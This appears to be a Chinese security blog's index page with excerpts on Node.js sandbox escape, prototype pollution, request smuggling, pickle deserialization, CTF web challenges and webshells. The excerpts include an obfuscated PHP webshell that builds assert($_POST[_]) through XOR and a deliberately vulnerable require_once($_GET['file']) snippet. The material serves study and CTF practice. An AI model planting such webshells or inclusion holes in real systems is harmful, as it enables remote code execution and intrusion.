NodeJS 沙箱逃逸分析
[toc] 沙箱逃逸的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。 VM 沙箱逃逸简介node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。vm 模块可在 V8 虚拟机上下文中编译和运行代码。 注意的是:vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。 官方文档原话: 一个常见的用例是在不同的 V8 上下文中运行代码。 这意味着被调用的代码与调用的代码具有不同的全局对象。 可以通过使对象上下文隔离化来提供上下文。 被调用的代码将上下文中的任何属性都视为全局变量。 由调用的代码引起的对全局变量的任何更改都将会反映在上下文对象中。 我们来看一个例子 12345678910111213const vm = require('vm');const x = 1;const context = { x: 2 };vm.createContext(context); //...
Nodejs原型链污染总结
[toc] prototype (原型) 在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。 例子: 1object.prototype.name=value 在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象: 123objectname["__proto__"]objectname.__proto__objectname.constructor.prototype 不同对象所生成的原型链如下(部分): 12345678910111213141516var o = {a: 1};// o对象直接继承了Object.prototype// 原型链:// o ---> Object.prototype ---> nullvar a = ["yo", "whadup",...
Node.js常见漏洞总结
很久不更新博客了,学习总结一下nodejs的知识点 [toc] 大小写特性在javascript中有几个特殊的字符需要记录一下 对于toUpperCase(): 1字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S" 对于toLowerCase(): 1字符"K"经过toLowerCase处理后结果为"k"(这个K不是K,是开尔文符号的K) 在绕一些规则的时候就可以利用这几个特殊字符进行绕过, 可以参考p牛的老文章 Fuzz中的javascript大小写特性 prompt靶场的某一关 对于以下的过滤,便可以使用这个特性进行绕过 123456789function escape(input) { // filter potential start-tags input = input.replace(/<([a-zA-Z])/g, '<_$1'); // use...
HTTP/2 Server Push可能存在的攻击方式
什么是 Server PushServer Push是HTTP/2规范中引入的一种新技术,可以类比HTTP/1.1的keep-alive机制,允许客户端和服务端用同一个 TCP 连接发送/接收多个请求/响应,减少了昂贵的 TCP 建立连接和断开连接的过程,还有HTTP/1.x的Pipelining机制,允许客户端在收到响应之前继续发送幂等方法(GET 和 HEAD)的请求,提升在高延迟连接下页面的加载速度,而Server Push是为了提前推送响应。 使用 HTTP/1.x 协议时,由于连接不能完全被复用,许多站点为了减少连接数和请求数,会把样式表和脚本内联到 HTML 中。如果不考虑缓存,可以认为这是提前推送了样式表和脚本的响应。许多介绍 server push 的文章也以推送这些静态资源为例。 可以看到,使用 server push 后,两个静态资源文件随着 HTML 一同被推了回来。主要省去了两部分时间:一部分是接收和解析 HTML 的时间(不一定是接收和解析完整 HTML...
协议层安全-HTTP请求走私
一、什么是请求走私当今的web架构中,单纯的一对一客户端—服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。
pker使用说明
pker使用说明简介 pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。 使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)。 再次建议,在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。 此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。 pker使用示例123456789101112131415161718192021222324252627282930313233343536GLOBAL对应opcode:b'c'获取module下的一个全局对象(没有import的也可以,比如下面的os):GLOBAL('os',...
pickle反序列化总结
pickle过程详细解读 pickle解析依靠Pickle Virtual Machine (PVM)进行。 PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存: 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。 栈:由Python的list实现,被用来临时存储数据、参数以及对象。 memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。 为了便于理解,我把BH讲稿中的相关部分制成了动图,PVM解析 str 的过程动图: PVM解析 __reduce__() 的过程动图: 手写opcode 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__...
Dest0g3 520迎新赛-Web
[toc] phpdest123456<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once($_GET['file']);} 这里使用的是PHP最新版的小Trick,require_once包含的软链接层数较多事 once 的 hash...
无字母数字webshell总结
方法一:异或123456<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';$___=$$__;$_($___[_]); // assert($_POST[_]);//不可见字符都用url表示 123456<?php$_ =...